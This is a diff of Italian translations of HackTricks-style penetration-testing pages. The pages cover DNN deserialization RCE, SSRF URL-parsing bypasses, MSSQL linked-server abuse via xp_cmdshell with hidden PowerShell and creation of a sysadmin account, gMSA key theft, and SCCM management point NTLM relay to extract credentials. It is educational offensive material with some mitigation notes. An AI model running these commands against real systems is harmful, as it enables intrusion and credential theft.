### 1. RCE da Deserializzazione dei Cookie (CVE-2017-9822 & seguiti)
|
||||
### 1. Deserializzazione dei Cookie RCE (CVE-2017-9822 & seguiti)
|
||||
*Versioni interessate ≤ 9.3.0-RC*
|
||||
|
||||
`DNNPersonalization` viene deserializzato ad ogni richiesta quando il gestore 404 integrato è abilitato. XML creato ad arte può quindi portare a catene di gadget arbitrarie ed esecuzione di codice.
|
||||
@ -56,7 +56,7 @@ Se gli amministratori si affidano ai *Filtri Host/IP* per la protezione del port
|
||||
---
|
||||
## Post-Autenticazione a RCE
|
||||
|
||||
### Via console SQL
|
||||
### Tramite console SQL
|
||||
Sotto **`Impostazioni → SQL`** una finestra di query integrata consente l'esecuzione contro il database del sito. Su Microsoft SQL Server puoi abilitare **`xp_cmdshell`** e generare comandi:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', 1;
|
||||
|
||||
@ -193,13 +193,13 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
|
||||
### Blackslash-trick
|
||||
|
||||
Il _backslash-trick_ sfrutta una differenza tra il [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) e [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Mentre RFC3986 è un framework generale per gli URI, WHATWG è specifico per gli URL web ed è adottato dai browser moderni. La distinzione chiave risiede nel riconoscimento del backslash (`\`) da parte dello standard WHATWG come equivalente alla barra obliqua (`/`), influenzando il modo in cui gli URL vengono analizzati, segnando specificamente la transizione dal nome host al percorso in un URL.
|
||||
Il _backslash-trick_ sfrutta una differenza tra il [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) e [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Mentre RFC3986 è un framework generale per gli URI, WHATWG è specifico per gli URL web ed è adottato dai browser moderni. La distinzione chiave risiede nel riconoscimento del backslash (`\`) da parte dello standard WHATWG come equivalente alla barra obliqua (`/`), influenzando il modo in cui gli URL vengono analizzati, segnando specificamente la transizione dall'hostname al percorso in un URL.
|
||||
|
||||
|
||||
|
||||
### Parentesi quadra sinistra
|
||||
### Parenthesis quadra sinistra
|
||||
|
||||
Il carattere “parentesi quadra sinistra” `[` nel segmento userinfo può causare a UriComponentsBuilder di Spring di restituire un valore di hostname che differisce dai browser: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
Il carattere “parentesi quadra sinistra” `[` nel segmento userinfo può causare a UriComponentsBuilder di Spring di restituire un valore hostname che differisce dai browser: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
|
||||
### Altre Confusioni
|
||||
|
||||
@ -216,19 +216,19 @@ http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
||||
```
|
||||
Se l'applicazione target convalida che l'host *non* è `fe80::1` ma smette di analizzare al `%`, potrebbe trattare erroneamente la richiesta come esterna. Normalizza sempre l'indirizzo **prima** di qualsiasi decisione di sicurezza o rimuovi completamente l'ID di zona opzionale.
|
||||
|
||||
### Recent Library Parsing CVEs (2022–2025)
|
||||
### CVE di parsing delle librerie recenti (2022–2025)
|
||||
|
||||
Un certo numero di framework mainstream ha sofferto di problemi di corrispondenza del nome host che possono essere sfruttati per SSRF una volta che la convalida dell'URL è stata bypassata con i trucchi elencati sopra:
|
||||
Un certo numero di framework mainstream ha subito problemi di mismatch del nome host che possono essere sfruttati per SSRF una volta che la convalida dell'URL è stata bypassata con i trucchi elencati sopra:
|
||||
|
||||
| Anno | CVE | Componente | Sintesi del bug | PoC minima |
|
||||
| Anno | CVE | Componente | Sinossi del bug | PoC minima |
|
||||
|------|-----|-----------|--------------|-------------|
|
||||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` non è consentito nella sezione *userinfo*, quindi `https://example.com\[@internal` è analizzato come host `example.com` da Spring ma come `internal` dai browser, abilitando open-redirect & SSRF quando vengono utilizzate le liste di autorizzazione degli host. Aggiorna a Spring 5.3.34 / 6.0.19 / 6.1.6+. |
|
||||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` non è consentito nella sezione *userinfo*, quindi `https://example.com\[@internal` è analizzato come host `example.com` da Spring ma come `internal` dai browser, abilitando open-redirect e SSRF quando vengono utilizzate le liste di autorizzazione degli host. Aggiorna a Spring 5.3.34 / 6.0.19 / 6.1.6+. |
|
||||
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | La confusione del backslash ha permesso a `http://example.com\\@169.254.169.254/` di bypassare i filtri host che si dividono su `@`. |
|
||||
| 2022 | CVE-2022-3602 | OpenSSL | La verifica del nome host è stata saltata quando il nome è suffisso con un `.` (confusione del dominio senza punto). |
|
||||
|
||||
Quando dipendi da parser URL di terze parti, **confronta l'host canonico restituito dalla libreria di cui ti fidi con la stringa grezza fornita dall'utente** per rilevare queste classi di problemi.
|
||||
|
||||
### Payload-generation helpers (2024+)
|
||||
### Helper per la generazione di payload (2024+)
|
||||
|
||||
Creare grandi elenchi di parole personalizzati a mano è ingombrante. Lo strumento open-source **SSRF-PayloadMaker** (Python 3) può ora generare automaticamente *80 k+* combinazioni di manipolazione degli host, inclusi codifiche miste, downgrade forzato a HTTP e varianti di backslash:
|
||||
```bash
|
||||
|
||||
@ -166,7 +166,7 @@ Potrebbe essere anche possibile **eseguire comandi** all'interno dell'host MSSQL
|
||||
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
|
||||
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
|
||||
```
|
||||
Controlla nella pagina menzionata nella **seguente sezione come farlo manualmente.**
|
||||
Controlla nella pagina menzionata nella **sezione seguente come farlo manualmente.**
|
||||
|
||||
### MSSQL Tecniche di Hacking di Base
|
||||
|
||||
@ -230,9 +230,9 @@ Nota che metasploit cercherà di abusare solo della funzione `openquery()` in MS
|
||||
|
||||
### Manuale - Openquery()
|
||||
|
||||
Da **Linux** potresti ottenere una shell console MSSQL con **sqsh** e **mssqlclient.py.**
|
||||
Da **Linux** puoi ottenere una shell console MSSQL con **sqsh** e **mssqlclient.py.**
|
||||
|
||||
Da **Windows** potresti anche trovare i link ed eseguire comandi manualmente utilizzando un **client MSSQL come** [**HeidiSQL**](https://www.heidisql.com)
|
||||
Da **Windows** puoi anche trovare i link ed eseguire comandi manualmente utilizzando un **client MSSQL come** [**HeidiSQL**](https://www.heidisql.com)
|
||||
|
||||
_Esegui il login utilizzando l'autenticazione di Windows:_
|
||||
|
||||
@ -256,7 +256,7 @@ select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||
|
||||
.png>)
|
||||
|
||||
Puoi continuare questa catena di link fidati per sempre manualmente.
|
||||
Puoi continuare questa catena di link fidati all'infinito manualmente.
|
||||
```sql
|
||||
# First level RCE
|
||||
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
|
||||
@ -278,14 +278,14 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
||||
|
||||
L'**utente locale MSSQL** di solito ha un tipo speciale di privilegio chiamato **`SeImpersonatePrivilege`**. Questo consente all'account di "impersonare un client dopo l'autenticazione".
|
||||
|
||||
Una strategia che molti autori hanno ideato è forzare un servizio SYSTEM ad autenticarsi a un servizio rogue o man-in-the-middle creato dall'attaccante. Questo servizio rogue è quindi in grado di impersonare il servizio SYSTEM mentre sta cercando di autenticarsi.
|
||||
Una strategia che molti autori hanno ideato è forzare un servizio SYSTEM ad autenticarsi a un servizio rogue o man-in-the-middle che l'attaccante crea. Questo servizio rogue è quindi in grado di impersonare il servizio SYSTEM mentre sta cercando di autenticarsi.
|
||||
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato) ha una raccolta di queste varie tecniche che possono essere eseguite tramite il comando `execute-assembly` di Beacon.
|
||||
|
||||
|
||||
|
||||
### Relay NTLM del punto di gestione SCCM (Estrazione dei segreti OSD)
|
||||
Scopri come i ruoli SQL predefiniti dei **Punti di gestione SCCM** possono essere abusati per estrarre direttamente l'Account di Accesso alla Rete e i segreti della Sequenza di Attività dal database del sito:
|
||||
### Relay NTLM del Punto di Gestione SCCM (Estrazione dei Segreti OSD)
|
||||
Scopri come i ruoli SQL predefiniti dei **Punti di Gestione** SCCM possono essere abusati per estrarre direttamente l'Account di Accesso alla Rete e i segreti della Sequenza di Attività dal database del sito:
|
||||
{{#ref}}
|
||||
sccm-management-point-relay-sql-policy-secrets.md
|
||||
{{#endref}}
|
||||
|
||||
@ -28,7 +28,7 @@ Se un attaccante può ottenere tutti e tre gli input **offline**, può calcolare
|
||||
|
||||
Questo è analogo a un *Golden Ticket* per gli account di servizio.
|
||||
|
||||
### Requisiti
|
||||
### Prerequisiti
|
||||
|
||||
1. **Compromissione a livello di foresta** di **un DC** (o Enterprise Admin), o accesso `SYSTEM` a uno dei DC nella foresta.
|
||||
2. Capacità di enumerare gli account di servizio (lettura LDAP / brute-force RID).
|
||||
@ -100,10 +100,10 @@ Le hash risultanti possono essere iniettati con **mimikatz** (`sekurlsa::pth`) o
|
||||
## Rilevamento e Mitigazione
|
||||
|
||||
* Limitare le capacità di **backup DC e lettura del registro** agli amministratori di Tier-0.
|
||||
* Monitorare la creazione di **Directory Services Restore Mode (DSRM)** o **Volume Shadow Copy** sui DC.
|
||||
* Monitorare la creazione della **Modalità di Ripristino dei Servizi di Directory (DSRM)** o della **Copia Shadow del Volume** sui DC.
|
||||
* Audit delle letture / modifiche a `CN=Master Root Keys,…` e ai flag `userAccountControl` degli account di servizio.
|
||||
* Rilevare scritture di password **base64** insolite o riutilizzo improvviso di password di servizio tra host.
|
||||
* Considerare la conversione di gMSA ad alta privilegio in **account di servizio classici** con rotazioni casuali regolari dove l'isolamento di Tier-0 non è possibile.
|
||||
* Considerare la conversione di gMSA ad alto privilegio in **account di servizio classici** con rotazioni casuali regolari dove l'isolamento di Tier-0 non è possibile.
|
||||
|
||||
## Strumenti
|
||||
|
||||
|
||||
@ -3,13 +3,13 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
Costringendo un **System Center Configuration Manager (SCCM) Management Point (MP)** ad autenticarsi tramite SMB/RPC e **rilasciando** quel conto macchina NTLM al **database del sito (MSSQL)** si ottengono diritti `smsdbrole_MP` / `smsdbrole_MPUserSvc`. Questi ruoli ti consentono di chiamare un insieme di procedure memorizzate che espongono i blob delle politiche di **Operating System Deployment (OSD)** (credenziali dell'Account di Accesso alla Rete, variabili della Sequenza di Attività, ecc.). I blob sono codificati/encriptati in esadecimale ma possono essere decodificati e decrittografati con **PXEthief**, restituendo segreti in chiaro.
|
||||
Costringendo un **Punto di Gestione (MP) di System Center Configuration Manager (SCCM)** ad autenticarsi tramite SMB/RPC e **rilasciando** quel conto macchina NTLM al **database del sito (MSSQL)** si ottengono diritti `smsdbrole_MP` / `smsdbrole_MPUserSvc`. Questi ruoli ti consentono di chiamare un insieme di procedure memorizzate che espongono i blob delle politiche di **Distribuzione del Sistema Operativo (OSD)** (credenziali dell'Account di Accesso alla Rete, variabili della Sequenza di Attività, ecc.). I blob sono codificati/encriptati in esadecimale ma possono essere decodificati e decrittografati con **PXEthief**, rivelando segreti in chiaro.
|
||||
|
||||
Catena ad alto livello:
|
||||
1. Scoprire MP & DB del sito ↦ endpoint HTTP non autenticato `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
|
||||
2. Avviare `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`.
|
||||
3. Costringere MP utilizzando **PetitPotam**, PrinterBug, DFSCoerce, ecc.
|
||||
4. Attraverso il proxy SOCKS connettersi con `mssqlclient.py -windows-auth` come conto **<DOMAIN>\\<MP-host>$** rilasciato.
|
||||
4. Attraverso il proxy SOCKS connettersi con `mssqlclient.py -windows-auth` come l'account rilasciato **<DOMAIN>\\<MP-host>$**.
|
||||
5. Eseguire:
|
||||
* `use CM_<SiteCode>`
|
||||
* `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''`
|
||||
@ -25,7 +25,7 @@ L'estensione ISAPI MP **GetAuth.dll** espone diversi parametri che non richiedon
|
||||
|
||||
| Parametro | Scopo |
|
||||
|-----------|-------|
|
||||
| `MPKEYINFORMATIONMEDIA` | Restituisce la chiave pubblica del certificato di firma del sito + GUID dei dispositivi **All Unknown Computers** *x86* / *x64*. |
|
||||
| `MPKEYINFORMATIONMEDIA` | Restituisce la chiave pubblica del certificato di firma del sito + GUID dei dispositivi **Tutti i Computer Sconosciuti** *x86* / *x64*. |
|
||||
| `MPLIST` | Elenca ogni Punto di Gestione nel sito. |
|
||||
| `SITESIGNCERT` | Restituisce il certificato di firma del Sito Primario (identifica il server del sito senza LDAP). |
|
||||
|
||||
@ -58,14 +58,14 @@ proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
|
||||
```
|
||||
Passa al DB **CM_<SiteCode>** (usa il codice sito di 3 cifre, ad esempio `CM_001`).
|
||||
|
||||
### 3.1 Trova GUID di Computer Sconosciuti (opzionale)
|
||||
### 3.1 Trova GUID di Computer Sconosciuti (opzionale)
|
||||
```sql
|
||||
USE CM_001;
|
||||
SELECT SMS_Unique_Identifier0
|
||||
FROM dbo.UnknownSystem_DISC
|
||||
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
|
||||
```
|
||||
### 3.2 Elenca le politiche assegnate
|
||||
### 3.2 Elenca le politiche assegnate
|
||||
```sql
|
||||
EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
|
||||
```
|
||||
@ -77,7 +77,7 @@ Concentrati sulle politiche:
|
||||
* **CollectionSettings** – può contenere account di esecuzione
|
||||
|
||||
### 3.3 Recupera il corpo completo
|
||||
Se hai già `PolicyID` e `PolicyVersion`, puoi saltare il requisito clientID utilizzando:
|
||||
Se hai già `PolicyID` e `PolicyVersion`, puoi saltare il requisito del clientID usando:
|
||||
```sql
|
||||
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
|
||||
```
|
||||
@ -149,7 +149,7 @@ abusing-ad-mssql.md
|
||||
|
||||
|
||||
## Riferimenti
|
||||
- [I’d Like to Speak to Your Manager: Stealing Secrets with Management Point Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
|
||||
- [Vorrei parlare con il tuo manager: Rubare segreti con i Management Point Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
|
||||
- [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
|
||||
- [Misconfiguration Manager – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
|
||||
- [Gestore di Misconfigurazioni – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user